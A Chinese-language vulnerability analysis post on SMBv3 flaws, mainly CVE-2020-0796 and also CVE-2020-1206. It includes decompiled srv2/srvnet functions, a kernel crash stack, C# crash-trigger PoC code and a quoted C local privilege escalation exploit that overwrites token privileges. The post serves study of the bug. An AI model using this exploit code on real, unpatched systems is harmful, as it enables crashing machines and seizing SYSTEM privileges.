SMB協議漏洞分析

2021-02-14 邑安全
簡介

最近看了一些關於SMB的分析文章,準備總結一下,主要介紹SMB協議在前段時間出的CVE-2020-0796相關漏洞。下面簡單介紹一下SMB的相關知識。

SMB協議參考官方文檔給的說明,大致作用如下,SMB版本1.0協議實現必須實現CIFS協議,而CIFS再往下就可以由TCP實現,大部分功能是文件系統的功能,埠在445埠,具體內容可以參考文檔協議示例部分

客戶端系統使用通用網絡文件系統(CIFS)協議通過網絡從伺服器系統請求文件和列印服務。SMB則是對此協議的擴展,提供了附加的安全性,文件和磁碟管理支持。這些擴展不會改變CIFS協議的基本消息順序,但會引入新的標誌,擴展的請求和響應以及新的信息級別。

之前爆出的SMB漏洞主要是在SMB2之後的版本,SMB協議版本2和3,它們支持在機器之間共享文件和列印資源,並擴展了SMB1。Windows上對應的模塊是 srv2.sys

SMB2數據包格式與SMB1完全不同。其所有功能參考官方文檔裡面 1.3 Overview 部分,連接順序大致如下

CVE-2020-0796前置知識

這個漏洞出在SMB2的壓縮功能,要使用這個功能首先需要建立基本連接,要建立基本連接首先需要知道這個包是怎麼構造出來的,在協議2.1部分說明了包頭是如何組成的,協議支持幾種傳輸方式,這裡直接按照包格式選用Direct TCP頭即可

其中第三個欄位是SMB2Message,也就是SMB2的消息,這個消息也有一個頭結構,在文檔[MS-SMB2]的2.2.1部分可以找到,分為同步和異步兩種頭,拿異步頭結構來舉例,結構如下

欄位長度如下所示,各個欄位的意義有點多這裡就不貼出來了,可以參考官方文檔,非常詳細

ProtocolId (4 bytes)
StructureSize (2 bytes)
CreditCharge (2 bytes)
(ChannelSequence/Reserved)/Status (4 bytes)
ChannelSequence (2 bytes)
Reserved (2 bytes)
Status (4 bytes)
Command (2 bytes)
CreditRequest/CreditResons (2 bytes)
Flags (4 bytes)
NextCommand (4 bytes)
MessageId (8 bytes)
AsyncId (8 bytes)
SessionId (8 bytes)
Signature (16 bytes)

有了上面的基礎,構造這個SMB2協議包就很簡單了,包層次結構如下

Direct TCP header -> SMB2 header -> SMB data

下面需要解決連接順序,官方文檔中可以知道,這個協議初始化階段有幾種類型的包,如下圖,圖自這裡

圖中的包在文檔裡都有對應的結構,感興趣的朋友可以對應文檔看看。

漏洞分析

前面提到過這個漏洞存在於srv2.sys的壓縮功能,涉及到的包結構如下,對應文檔2.2.42 SMB2 COMPRESSION_TRANSFORM_HEADER,結合壓縮包這個名字,來看理解一下各個欄位的含義,第一個欄位ProtocolId固定不變,第二個欄位指定原始未壓縮數據大小,也就是這塊數據有壓縮的也有不壓縮的,這裡是指定不壓縮的大小,第三個欄位指定壓縮算法,第四個為一個標誌,不同的標誌影響第五個參數的意義,第五個參數這裡只用到offset的意義,表示數據包中壓縮數據相對於當前結構的偏移。

借用看雪論壇一位師傅畫的圖片,非常清晰,結構如下

下面看一下漏洞函數,涉及的函數是Srv2DecompressData,根據名字可以猜測到,此函數負責解壓上面結構的數據,其中會調用到SmbCompressionDecompress函數負責解壓數據,而在這之前會調用SrvNetAllocateBuffer函數負責申請內存,然而這個函數的參數並沒有檢查是否溢出,這個函數的參數剛好是original size + Offset的大小,完全由用戶控制,溢出就會申請很小的內存,然而實際後面解壓操作的內存比申請的大很多,導致了漏洞的產生。

__int64 __fastcall Srv2DecompressData(__int64 a1)
{
__int64 v2; // rax
__m128i v3; // xmm0
unsigned int Algorithm; // ebp
__int64 v7; // rbx MAPDST
int v8; // eax
__m128i Size; // [rsp+30h] [rbp-28h]
int v10; // [rsp+60h] [rbp+8h] BYREF

v10 = 0;
v2 = *(_QWORD *)(a1 + 240);
if ( *(_DWORD *)(v2 + 36) < 0x10u )
return 0xC000090Bi64;
Size = *(__m128i *)*(_QWORD *)(v2 + 24);
v3 = _mm_srli_si128(Size, 8); // 4 bytes + 4 bytes
// offset + compression algorithm
Algorithm = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(a1 + 80) + 496i64) + 140i64);
if ( Algorithm != v3.m128i_u16[0] )
return 0xC00000BBi64;
v7 = SrvNetAllocateBuffer((unsigned int)(Size.m128i_i32[1] + v3.m128i_i32[1]), 0i64);// original size + Offset
if ( !v7 )
return 0xC000009Ai64;
if ( (int)SmbCompressionDecompress(
Algorithm,
*(_QWORD *)(*(_QWORD *)(a1 + 240) + 24i64) + Size.m128i_u32[3] + 0x10i64,
(unsigned int)(*(_DWORD *)(*(_QWORD *)(a1 + 240) + 36i64) - Size.m128i_i32[3] - 0x10),
Size.m128i_u32[3] + *(_QWORD *)(v7 + 0x18),
Size.m128i_i32[1],
&v10) < 0
|| (v8 = v10, v10 != Size.m128i_i32[1]) )
{
SrvNetFreeBuffer(v7);
return 0xC000090Bi64;
}
if ( Size.m128i_i32[3] )
{
memmove(
*(void **)(v7 + 0x18),
(const void *)(*(_QWORD *)(*(_QWORD *)(a1 + 240) + 24i64) + 0x10i64),
Size.m128i_u32[3]); // Offset
v8 = v10;
}
*(_DWORD *)(v7 + 36) = Size.m128i_i32[3] + v8;
Srv2ReplaceReceiveBuffer(a1, v7);
return 0i64;
}

漏洞利用

有幾種方式構造,Python最為方便,我測試的時候C#、C、Python都試過,其中C#最為複雜,不過也最為官方,使用的是微軟提供的一套協議測試框架,不過zecops已經有人寫好了,在這裡可以找到,其模板參考synacktiv之前發的文章,改動了大致下面幾個文件和內容,需要注意的是,在編譯的時候需要安裝指定.NET版本並提前編譯好一些模塊,然後導入才可以正常編譯後續的exe

Smb2CompressedPacketed.cs // 修改包類型
Smb2ClientTransport.cs // 修改指定壓縮算法
Smb2Compression.cs // 修改壓縮函數實現觸發
Smb2CompressionForChained.cs // 刪除此文件指定第五欄位為offset

下面是synacktiv發出來的部分代碼,直接寫在了Smb2Compression.cs裡面

// .\WindowsProtocolTestSuites\ProtoSDK\MS-SMB2\Common\Smb2Compression.cs
namespace Microsoft.Protocols.TestTools.StackSdk.FileAccessService.Smb2.Common
{
/// <summary>
/// SMB2 Compression Utility.
/// </summary>
public static class Smb2Compression
{
private static uint i = 0;

/// <summary>
/// Compress SMB2 packet.
/// </summary>
/// <param name="packet">The SMB2 packet.</param>
/// <param name="compressionInfo">Compression info.</param>
/// <param name="role">SMB2 role.</param>
/// <param name="offset">The offset where compression start, default zero.</param>
/// <returns></returns>
public static Smb2Packet Compress(Smb2CompressiblePacket packet, Smb2CompressionInfo compressionInfo, Smb2Role role, uint offset = 0)
{
var compressionAlgorithm = GetCompressionAlgorithm(packet, compressionInfo, role);

/*if (compressionAlgorithm == CompressionAlgorithm.NONE)
{
return packet;
}*/

// HACK: shitty counter to force Smb2Compression to not compress the first three packets (NEGOTIATE + SSPI login)
if (i < 3)
{
i++;
return packet;
}

var packetBytes = packet.ToBytes();

var compressor = GetCompressor(compressionAlgorithm);

// HACK: Insane length to trigger the integrer overflow
offset = 0xffffffff;

var compressedPacket = new Smb2CompressedPacket();
compressedPacket.Header.ProtocolId = Smb2Consts.ProtocolIdInCompressionTransformHeader;
compressedPacket.Header.OriginalCompressedSegmentSize = (uint)packetBytes.Length;
compressedPacket.Header.CompressionAlgorithm = compressionAlgorithm;
compressedPacket.Header.Reserved = 0;
compressedPacket.Header.Offset = offset;
compressedPacket.UncompressedData = packetBytes.Take((int)offset).ToArray();
compressedPacket.CompressedData = compressor.Compress(packetBytes.Skip((int)offset).ToArray());

var compressedPackectBytes = compressedPacket.ToBytes();

// HACK: force compressed packet to be sent
return compressedPacket;

// Check whether compression shrinks the on-wire packet size
// if (compressedPackectBytes.Length < packetBytes.Length)
// {
// compressedPacket.OriginalPacket = packet;
// return compressedPacket;
// }
// else
// {
// return packet;
// }
}
}
}

namespace Microsoft.Protocols.TestManager.BranchCachePlugin
{
class Program
{
static void TriggerCrash(BranchCacheDetector bcd, DetectionInfo info)
{
Smb2Client client = new Smb2Client(new TimeSpan(0, 0, defaultTimeoutInSeconds));
client.CompressionInfo.CompressionIds = new CompressionAlgorithm[] { CompressionAlgorithm.LZ77 };

// NEGOTIATION is done in "plaintext", this is the call within UserLogon:
// client.Negotiate(
// 0,
// 1,
// Packet_Header_Flags_Values.NONE,
// messageId++,
// new DialectRevision[] { DialectRevision.Smb311 },
// SecurityMode_Values.NEGOTIATE_SIGNING_ENABLED,
// Capabilities_Values.NONE,
// clientGuid,
// out selectedDialect,
// out gssToken,
// out header,
// out negotiateResp,
// preauthHashAlgs: new PreauthIntegrityHashID[] { PreauthIntegrityHashID.SHA_512 }, // apprently mandatory for compression
// compressionAlgorithms: new CompressionAlgorithm[] { CompressionAlgorithm.LZ77 }
// );
if (!bcd.UserLogon(info, client, out messageId, out sessionId, out clientGuid, out negotiateResp))
return;

// From now on, we compress every new packet
client.CompressionInfo.CompressAllPackets = true;

// Get tree information about a remote share (which does not exists)
TREE_CONNECT_Response treeConnectResp;
string uncSharePath = Smb2Utility.GetUncPath(info.ContentServerName, defaultShare);

// trigger crash here
client.TreeConnect(
1,
1,
Packet_Header_Flags_Values.FLAGS_SIGNED,
messageId++,
sessionId,
uncSharePath,
out treeId,
out header,
out treeConnectResp
);
}

static void Main(string[] args)
{
Console.WriteLine("Hello World!");

Logger logger = new Logger();
AccountCredential accountCredential = new AccountCredential("", "Ghost", "Ghost");

BranchCacheDetector bcd = new BranchCacheDetector(
logger,
"DESKTOP-SMBVULN",
"DESKTOP-SMBVULN",
accountCredential
);

DetectionInfo info = new DetectionInfo();
info.SelectedTransport = "SMB2";
info.ContentServerName = "DESKTOP-SMBVULN";

info.UserName = "Ghost";
info.Password = "Ghost";

TriggerCrash(bcd,info);

Console.WriteLine("Goodbye World!");
}
}
}

我測試的時候是單獨寫了一個exe調用這些函數,感興趣的朋友可以試一試,不過確實改起來比較麻煩,而且利用起來較為麻煩

// Microsoft.Protocols.TestTools.StackSdk.FileAccessService.dll
// Microsoft.Protocols.TestTools.StackSdk.FileAccessService.Smb2.dll
// Microsoft.Protocols.TestTools.StackSdk.Security.SspiLib.dll

using System;
using Microsoft.Protocols.TestTools.StackSdk.FileAccessService.Smb2;
using Microsoft.Protocols.TestTools.StackSdk.Security.SspiLib;

namespace SMBTest
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("[+] CVE-2020-0796 POC");
var server = "127.0.0.1";

if (args.Length >= 1)
{
server = args[0];
}

Console.WriteLine("[+] Target server: " + server);
Smb2ClientTransport Client = new Smb2ClientTransport();
var timeout = new TimeSpan(0, 0, 60);
Console.WriteLine("[+] Trigger ...");
Client.Connect(
server, // [in] string server
"", // [in] string client
"", // [in] string domain
"Thunder_J", // [in] string userName
"password", // [in] string password
timeout, // [in] TimeSpan timeout
SecurityPackageType.Ntlm, // [in] SecurityPackageType securityPackage
true // [in] bool useServerToken
);
}
}
}

測試結果如下,1903未打此補丁的版本可以觸發

調用棧如下,最終是在nt!RtlDecompressBufferXpressLz+0x50解壓縮算法中出錯

0: kd> k
# Child-SP RetAddr Call Site
00 fffffb85`170821b8 fffff801`49b49492 nt!DbgBreakPointWithStatus
01 fffffb85`170821c0 fffff801`49b48b82 nt!KiBugCheckDebugBreak+0x12
02 fffffb85`17082220 fffff801`49a5f917 nt!KeBugCheck2+0x952
03 fffffb85`17082920 fffff801`49aa3b0a nt!KeBugCheckEx+0x107
04 fffffb85`17082960 fffff801`4996c1df nt!MiSystemFault+0x18fafa
05 fffffb85`17082a60 fffff801`49a6d69a nt!MmAccessFault+0x34f
06 fffffb85`17082c00 fffff801`499fc750 nt!KiPageFault+0x35a
07 fffffb85`17082d98 fffff801`4990a666 nt!RtlDecompressBufferXpressLz+0x50
08 fffffb85`17082db0 fffff801`4dcae0bd nt!RtlDecompressBufferEx2+0x66
09 fffffb85`17082e00 fffff801`484d7f41 srvnet!SmbCompressionDecompress+0xdd
0a fffffb85`17082e70 fffff801`484d699e srv2!Srv2DecompressData+0xe1
0b fffffb85`17082ed0 fffff801`48519a7f srv2!Srv2DecompressMessageAsync+0x1e
0c fffffb85`17082f00 fffff801`49a6304e srv2!RfspThreadPoolNodeWorkerProcessWorkItems+0x13f
0d fffffb85`17082f80 fffff801`49a6300c nt!KxSwitchKernelStackCallout+0x2e
0e fffffb85`16df78f0 fffff801`4996345e nt!KiSwitchKernelStackContinue
0f fffffb85`16df7910 fffff801`4996325c nt!KiExpandKernelStackAndCalloutOnStackSegment+0x18e
10 fffffb85`16df79b0 fffff801`499630d3 nt!KiExpandKernelStackAndCalloutSwitchStack+0xdc
11 fffffb85`16df7a20 fffff801`4996308d nt!KeExpandKernelStackAndCalloutInternal+0x33
12 fffffb85`16df7a90 fffff801`485197d7 nt!KeExpandKernelStackAndCalloutEx+0x1d
13 fffffb85`16df7ad0 fffff801`49fb34a7 srv2!RfspThreadPoolNodeWorkerRun+0x117
14 fffffb85`16df7b30 fffff801`499d3925 nt!IopThreadStart+0x37
15 fffffb85`16df7b90 fffff801`49a66d5a nt!PspSystemThreadStartup+0x55
16 fffffb85`16df7be0 00000000`00000000 nt!KiStartSystemThread+0x2a

下面介紹一下C版本的利用代碼,出自@danigargu and @dialluvioso_兩位師傅,順便解析一下本地提權的原理,這位師傅的代碼還是寫的很明白,不過這個代碼實際上並沒有完全實現初始化部分,send_negotiation協商包發送之後直接就開始發送壓縮數據,所以初始化部分實際上只需要協商一次SMB2 NEGOTIATE包即可進行壓縮操作。

int main(int argc, char* argv[]) {
WORD wVersionRequested = MAKEWORD(2, 2);
WSADATA wsaData = { 0 };
SOCKET sock = INVALID_SOCKET;
uint64_t ktoken = 0;

int err = 0;

printf("-= CVE-2020-0796 LPE =-\n");
printf("by @danigargu and @dialluvioso_\n\n");

if ((err = WSAStartup(wVersionRequested, &wsaData)) != 0) {
printf("WSAStartup() failed with error: %d\n", err);
return EXIT_FAILURE;
}

if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2) {
printf("Couldn't find a usable version of Winsock.dll\n");
WSACleanup();
return EXIT_FAILURE;
}

sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock == INVALID_SOCKET) {
printf("socket() failed with error: %d\n", WSAGetLastError());
WSACleanup();
return EXIT_FAILURE;
}

sockaddr_in client;
client.sin_family = AF_INET;
client.sin_port = htons(445);
InetPton(AF_INET, "127.0.0.1", &client.sin_addr);

if (connect(sock, (sockaddr*)& client, sizeof(client)) == SOCKET_ERROR) {
return error_exit(sock, "connect()");
}

printf("Successfully connected socket descriptor: %d\n", (int)sock);
printf("Sending SMB negotiation request...\n");

if (send_negotiation(sock) == SOCKET_ERROR) {
printf("Couldn't finish SMB negotiation\n");
return error_exit(sock, "send()");
}

printf("Finished SMB negotiation\n");
ULONG buffer_size = 0x1110;
UCHAR *buffer = (UCHAR *)malloc(buffer_size);
if (buffer == NULL) {
printf("Couldn't allocate memory with malloc()\n");
return error_exit(sock, NULL);
}

ktoken = get_process_token();
if (ktoken == -1) {
printf("Couldn't leak ktoken of current process...\n");
return EXIT_FAILURE;
}

printf("Found kernel token at %#llx\n", ktoken);

memset(buffer, 'A', 0x1108);
*(uint64_t*)(buffer + 0x1108) = ktoken + 0x40; /* where we want to write */

ULONG CompressBufferWorkSpaceSize = 0;
ULONG CompressFragmentWorkSpaceSize = 0;
err = RtlGetCompressionWorkSpaceSize(COMPRESSION_FORMAT_XPRESS,
&CompressBufferWorkSpaceSize, &CompressFragmentWorkSpaceSize);

if (err != STATUS_SUCCESS) {
printf("RtlGetCompressionWorkSpaceSize() failed with error: %d\n", err);
return error_exit(sock, NULL);
}

ULONG FinalCompressedSize;
UCHAR compressed_buffer[64];
LPVOID lpWorkSpace = malloc(CompressBufferWorkSpaceSize);
if (lpWorkSpace == NULL) {
printf("Couldn't allocate memory with malloc()\n");
return error_exit(sock, NULL);
}

err = RtlCompressBuffer(COMPRESSION_FORMAT_XPRESS, buffer, buffer_size,
compressed_buffer, sizeof(compressed_buffer), 4096, &FinalCompressedSize, lpWorkSpace);

if (err != STATUS_SUCCESS) {
printf("RtlCompressBuffer() failed with error: %#x\n", err);
free(lpWorkSpace);
return error_exit(sock, NULL);
}

printf("Sending compressed buffer...\n");

if (send_compressed(sock, compressed_buffer, FinalCompressedSize) == SOCKET_ERROR) {
return error_exit(sock, "send()");
}

printf("SEP_TOKEN_PRIVILEGES changed\n");
inject();

WSACleanup();
return EXIT_SUCCESS;
}

壓縮函數實現如下,C的實現相比之前的要簡單很多,直接編譯運行是可以本地彈出一個計算器,不過首先需要介紹一下怎麼利用

int send_compressed(SOCKET sock, unsigned char* buffer, ULONG len) {
int err = 0;
char response[8] = { 0 };

const uint8_t buf[] = {
/* NetBIOS Wrapper */
0x00,
0x00, 0x00, 0x33,

/* SMB Header */
0xFC, 0x53, 0x4D, 0x42, /* protocol id */
0xFF, 0xFF, 0xFF, 0xFF, /* original decompressed size, trigger arithmetic overflow */
0x02, 0x00, /* compression algorithm, LZ77 */
0x00, 0x00, /* flags */
0x10, 0x00, 0x00, 0x00, /* offset */
};

uint8_t* packet = (uint8_t*) malloc(sizeof(buf) + 0x10 + len);
if (packet == NULL) {
printf("Couldn't allocate memory with malloc()\n");
return error_exit(sock, NULL);
}

memcpy(packet, buf, sizeof(buf));
*(uint64_t*)(packet + sizeof(buf)) = 0x1FF2FFFFBC;
*(uint64_t*)(packet + sizeof(buf) + 0x8) = 0x1FF2FFFFBC;
memcpy(packet + sizeof(buf) + 0x10, buffer, len);

if ((err = send(sock, (const char*)packet, sizeof(buf) + 0x10 + len, 0)) != SOCKET_ERROR) {
recv(sock, response, sizeof(response), 0);
}

free(packet);
return err;
}

利用需要很了解內存布局,所以需要深入研究SrvNetAllocateBuffer函數,如下所示

__int64 __fastcall SrvNetAllocateBuffer(unsigned __int64 Size, __int64 a2)
{

v2 = HIDWORD(KeGetPcr()[1].LockArray);
v3 = 0;
v5 = 0;
if ( SrvDisableNetBufferLookAsideList || Size > 0x100100 )
{
if ( Size > 0x1000100 )
return 0i64;
v11 = SrvNetAllocateBufferFromPool(Size, Size);
}
else
{
if ( Size > 0x1100 )
{
v13 = Size - 0x100;
_BitScanReverse64((unsigned __int64 *)&v14, v13);
_BitScanForward64(&v15, v13);
if ( (_DWORD)v14 == (_DWORD)v15 )
v3 = v14 - 12;
else
v3 = v14 - 11;
}
v6 = SrvNetBufferLookasides[v3];
v7 = *(_DWORD *)v6 - 1;
if ( (unsigned int)(unsigned __int16)v2 + 1 < *(_DWORD *)v6 )
v7 = (unsigned __int16)v2 + 1;
v8 = v7;
v9 = *(_QWORD *)(v6 + 32);
v10 = *(_QWORD *)(v9 + 8 * v8);
if ( !*(_BYTE *)(v10 + 112) )
PplpLazyInitializeLookasideList(v6, *(_QWORD *)(v9 + 8 * v8));
++*(_DWORD *)(v10 + 20);
v11 = (__int64)ExpInterlockedPopEntrySList((PSLIST_HEADER)v10);
if ( !v11 )
{
++*(_DWORD *)(v10 + 24);
v11 = (*(__int64 (__fastcall **)(_QWORD, _QWORD, _QWORD, __int64))(v10 + 48))(// srvnet!PplGenericAllocateFunction
*(unsigned int *)(v10 + 36),
*(unsigned int *)(v10 + 44),
*(unsigned int *)(v10 + 40),
v10);
}
v5 = 2;
}
if ( !v11 )
return v11;
*(_WORD *)(v11 + 16) |= v5;
*(_WORD *)(v11 + 18) = v3;
*(_WORD *)(v11 + 20) = v2;
if ( a2 )
{
v16 = *(_DWORD *)(a2 + 36);
if ( v16 >= *(_DWORD *)(v11 + 32) )
v16 = *(_DWORD *)(v11 + 32);
v17 = *(void **)(v11 + 24);
*(_DWORD *)(v11 + 36) = v16;
memmove(v17, *(const void **)(a2 + 24), v16);
v18 = *(_WORD *)(a2 + 22);
if ( v18 )
{
*(_WORD *)(v11 + 22) = v18;
memmove((void *)(v11 + 100), (const void *)(a2 + 100), 16i64 * *(unsigned __int16 *)(a2 + 22));
}
}
else
{
*(_DWORD *)(v11 + 36) = 0;
}
return v11;
}

可以看到,進來就會判斷Size參數的大小,如果小於0x1100則會走下面的路徑,最終申請0x1278大小的內存

srvnet!SrvNetAllocateBuffer
-> srvnet!PplGenericAllocateFunction
-> srvnet!SrvNetBufferLookasideAllocate
-> srvnet!SrvNetAllocateBufferFromPool
-> ExAllocatePoolWithTag

內存也會在SrvNetAllocateBufferFromPool函數裡面初始化,下面是初始化的部分,注釋基於之前的參數小於0x1100

unsigned __int64 __fastcall SrvNetAllocateBufferFromPool(__int64 a1, unsigned __int64 a2)
{
unsigned int v2; // esi
unsigned __int64 v3; // rdi
SIZE_T v4; // rax
unsigned __int64 v5; // rbp
__int64 v6; // rax
SIZE_T Size; // rbx
char *alloc_ptr; // rdx
signed __int32 v9; // ecx
int v10; // eax
unsigned __int64 v11; // r9
unsigned __int64 v12; // rdi
unsigned __int64 v13; // r8
int v14; // edx
__int64 v15; // r9
unsigned __int64 v16; // rdx
__int64 v17; // r8
unsigned __int64 result; // rax

v2 = a2;
if ( a2 > 0xFFFFFFFF )
return 0i64;
if ( (unsigned __int64)(unsigned int)a2 + 88 < (unsigned __int64)(unsigned int)a2 + 80 )
return 0i64;
v3 = (unsigned int)a2 + 232i64;
if ( v3 < (unsigned __int64)(unsigned int)a2 + 88 )
return 0i64;
v4 = MmSizeOfMdl(0i64, (unsigned int)a2 + 232i64);
v5 = v4 + 8;
if ( v4 + 8 < v4 )
return 0i64;
v6 = 2 * v5;
if ( !is_mul_ok(v5, 2ui64) )
return 0i64;
Size = v6 + v3;
if ( v6 + v3 < v3 )
return 0i64;
if ( Size < 0x1000 )
{
Size = 0x1000i64;
}
else if ( Size > 0xFFFFFFFF )
{
return 0i64;
}
alloc_ptr = (char *)ExAllocatePoolWithTag((POOL_TYPE)0x200, Size, '00SL');// 0x1278
if ( !alloc_ptr )
{
_InterlockedIncrement((volatile signed __int32 *)&WPP_MAIN_CB.Dpc.SystemArgument2);
return 0i64;
}
v9 = Size + _InterlockedExchangeAdd((_DWORD *)&WPP_MAIN_CB.Dpc.SystemArgument1 + 1, Size);
if ( (int)Size > 0 )
{
do
v10 = HIDWORD(WPP_MAIN_CB.Dpc.SystemArgument2);
while ( v9 > SHIDWORD(WPP_MAIN_CB.Dpc.SystemArgument2)
&& v10 != _InterlockedCompareExchange(
(_DWORD *)&WPP_MAIN_CB.Dpc.SystemArgument2 + 1,
v9,
SHIDWORD(WPP_MAIN_CB.Dpc.SystemArgument2)) );
}
v11 = (unsigned __int64)(alloc_ptr + 0x50);
v12 = (unsigned __int64)&alloc_ptr[v2 + 87] & 0xFFFFFFFFFFFFFFF8ui64;// 申請的內存(0x1278大小)偏移0x1150處返回
// if (size < 0x1100)
// v12 == v8 + 0x1150
*(_QWORD *)(v12 + 0x30) = alloc_ptr;
*(_QWORD *)(v12 + 0x50) = (v12 + v5 + 0x97) & 0xFFFFFFFFFFFFFFF8ui64;
v13 = (v12 + 0x97) & 0xFFFFFFFFFFFFFFF8ui64;
*(_QWORD *)(v12 + 0x18) = alloc_ptr + 0x50;
*(_QWORD *)(v12 + 0x38) = v13;
*(_WORD *)(v12 + 0x10) = 0;
*(_WORD *)(v12 + 0x16) = 0;
*(_DWORD *)(v12 + 0x20) = v2; // Size
*(_DWORD *)(v12 + 0x24) = 0;
v14 = ((_WORD)alloc_ptr + 0x50) & 0xFFF;
*(_DWORD *)(v12 + 0x28) = Size; // 0x1278
*(_DWORD *)(v12 + 0x40) = 0;
*(_QWORD *)(v12 + 0x48) = 0i64;
*(_QWORD *)(v12 + 0x58) = 0i64;
*(_DWORD *)(v12 + 0x60) = 0;
*(_QWORD *)v13 = 0i64;
*(_WORD *)(v13 + 8) = 8 * ((((unsigned __int16)v14 + (unsigned __int64)v2 + 0xFFF) >> 12) + 6);
*(_WORD *)(v13 + 0xA) = 0;
*(_QWORD *)(v13 + 0x20) = v11 & 0xFFFFFFFFFFFFF000ui64;
*(_DWORD *)(v13 + 0x2C) = v14;
*(_DWORD *)(v13 + 0x28) = v2;
MmBuildMdlForNonPagedPool(*(PMDL *)(v12 + 56));
MmMdlPageContentsState(*(_QWORD *)(v12 + 56), 1i64);
*(_WORD *)(*(_QWORD *)(v12 + 56) + 10i64) |= 0x1000u;
v15 = *(_QWORD *)(v12 + 0x50);
v16 = *(_QWORD *)(v12 + 0x18) & 0xFFFFFFFFFFFFF000ui64;
v17 = *(_QWORD *)(v12 + 0x18) & 0xFFFi64;
result = v12;
*(_QWORD *)v15 = 0i64;
*(_WORD *)(v15 + 8) = 8 * (((v17 + (unsigned __int64)v2 + 0xFFF) >> 12) + 6);
*(_WORD *)(v15 + 0xA) = 0;
*(_QWORD *)(v15 + 0x20) = v16;
*(_DWORD *)(v15 + 0x2C) = v17;
*(_DWORD *)(v15 + 0x28) = v2;
*(_WORD *)(*(_QWORD *)(v12 + 80) + 10i64) |= 4u;
return result;
}

由於懶得自己畫結構圖,下面就又參考一個畫的非常好的圖片,圖片來自這裡,可以看到SrvNetAllocateBuffer函數返回的結構+0x18偏移指向User Buffer,這個緩衝區就用於存放解壓之後的數據,其大小就是我們可控的溢出大小

下圖左邊則是我們構造的壓縮包,右邊則是實際申請的內存布局,Raw Data是不需要壓縮的數據,Compressed Data是需要壓縮的數據,後面SmbCompressionDecompress函數就主要負責解壓我們傳入的數據Compressed Data,返回解壓之後的數據到右圖Decompressed Data處,正常情況下是沒有溢出的

調試結果如下,下面為 SrvNetAllocateBuffer 函數的返回值,該地址偏移0x18處的地址至該地址的距離正好為 0xffffb31b2d5dd150 - 0xffffb31b2d5dc050 = 0x1100

2: kd> dd ffffb31b2d5dc050 + 1100
ffffb31b`2d5dd150 00000000 00000000 00001000 0077006f
ffffb31b`2d5dd160 00000000 00000002 (2d5dc050 ffffb31b) -> +0x18

但由於整數溢出,User Buffer空間變小,不足以容納預期的大小,就會導致溢出

利用溢出就需要知道這個地方是如何拷貝的,就需要深入研究SmbCompressionDecompress解壓縮函數的實現,下面是調用鏈

srv2!Srv2DecompressData
-> srvnet!SmbCompressionDecompress
-> nt!RtlDecompressBufferEx2
-> nt!RtlDecompressBufferXpressLz
-> qmemcpy

在解壓時覆蓋後面 Srvnet Buffer Header 結構體中的User Buffer指針,也就是前面提過的0x18偏移處的指針,這就會導致將Raw Data的數據拷貝到我們指定的地方,那也就是任意寫,本地提權任意寫的話直接寫SEP_TOKEN_PRIVILEGES就行,作者也是這個想法,之後的操作就是提權的常規操作了,也沒什麼好介紹的了

// SEP_TOKEN_PRIVILEGES
*(uint64_t*)(buffer + 0x1108) = ktoken + 0x40; /* where we want to write */

// Raw Data
*(uint64_t*)(packet + sizeof(buf)) = 0x1FF2FFFFBC;
*(uint64_t*)(packet + sizeof(buf) + 0x8) = 0x1FF2FFFFBC;

CVE-2020-1206

對於0796想要遠程利用,就得有一個信息洩露的洞,仔細回想前面這個0796,你會發現可控的東西實在是太多了,這也就衍生出了CVE-2020-1206,實際上原理非常簡單,還是一個地方,我們將offset設置為0,OriginalSize設置為一個比較大的值,那也就可以越界讀到後面的數據,比如下圖,如果能設置為1的話實際就解壓出1位元組的數據,後面緊跟著一堆洩露的東西,這樣就可以洩露出內核信息,配合之前的任意寫,就可以實現RCE,當然沒有說的那麼簡單,感興趣的朋友可以參考這裡

總結

前面主要總結的是0796這個洞的學習過程,有很多寫的很好的文章,我都放在前面超連結裡面了,SMB的攻擊面還是比較清晰的,前段時間k0shl師傅在SMB裡面也找到了一個信息洩露的洞,簡單看了一下patch是一個UAF,涉及到SMB2 SET_INFO消息,k0哥也在博客裡面分析了,下面是patch前代碼

signed __int64 __fastcall Smb2UpdateLeaseFileName(__int64 a1, _WORD *a2, unsigned int a3)
{
[...]
v12 = (unsigned __int16)v4 + 2 * v11; // <- get completely file name([filename]:[leasename]) length
[...]
if ( v12 > *(unsigned __int16 *)(v6 + 0x18A) )// <- if file name is longer than old
{
v13 = ExAllocatePoolWithTag((POOL_TYPE)0x200, v12, 0x6C32534Cu); // <- allocate a new buffer
if ( !v13 )
{
v3 = -1073741670;
goto LABEL_16;
}
if ( *(_BYTE *)(v6 + 114) ) // <-- [1]
ExFreePoolWithTag(*(PVOID *)(v6 + 400), 0);// <- free old buffer
if ( v11 )
memmove(v13, *(const void **)(v6 + 400), 2i64 * v11); // <-- copy free buffer,trigger use after free.
*(_WORD *)(v6 + 394) = v12;
*(_QWORD *)(v6 + 400) = v13;
*(_BYTE *)(v6 + 114) = 1; // <-- [2]
}
memmove((void *)(*(_QWORD *)(v6 + 400) + 2i64 * v11), v5, (unsigned __int16)v4);// <-- copy new lease name
[...]
}

下面是patch之後代碼,我就不過多分析了,感興趣的朋友可以自行研究構造

signed __int64 __fastcall Smb2UpdateLeaseFileName(__int64 a1, _WORD *a2, unsigned int a3)
{
[...]
if ( v12 )
memmove(v15, *(const void **)(v6 + 0x190), 2i64 * v12);
if ( *(_BYTE *)(v6 + 0x72) )
ExFreePoolWithTag(*(PVOID *)(v6 + 0x190), 0);
[...]
}

原文來自: 先知社區

原文連結: https://xz.aliyun.com/t/9029

歡迎掃描關注我們,及時了解最新安全動態、學習最潮流的安全姿勢!

相關焦點

  • Office系列漏洞經典案例分析與利用
    3、漏洞定位由於緩衝區溢出函數處於EQNEDT32進程中,所以對它進行調試分析,打開漏洞文件會彈出計算器,一般採用Winexec函數調用,可對該函數進行下斷,然後進行逆推找出溢出點。首先把eqnedt32.exe拖進od運行(或打開後進行附加),然後定位WinExec進行下斷,打開漏洞文件test.doc,此時斷點會停在WinExec函數上,由於漏洞利用採用函數覆蓋返回地址,那我們可以從棧中找出漏洞函數的上層或上上層函數繼續進行分析
  • PHP文件包含漏洞利用思路與Bypass總結手冊(三)
    Bypass-協議限制data://如果在我們使用文件包含漏洞時data://協議被限制,但是我們又想要使用的話該怎麼繞過,比如下面這段限制代碼分析代碼可知filename變量內容開頭不能出現data字符串,這就限制了data://協議的使用,不過我們可以利用zlib協議嵌套的方法繞過data://協議的限制。
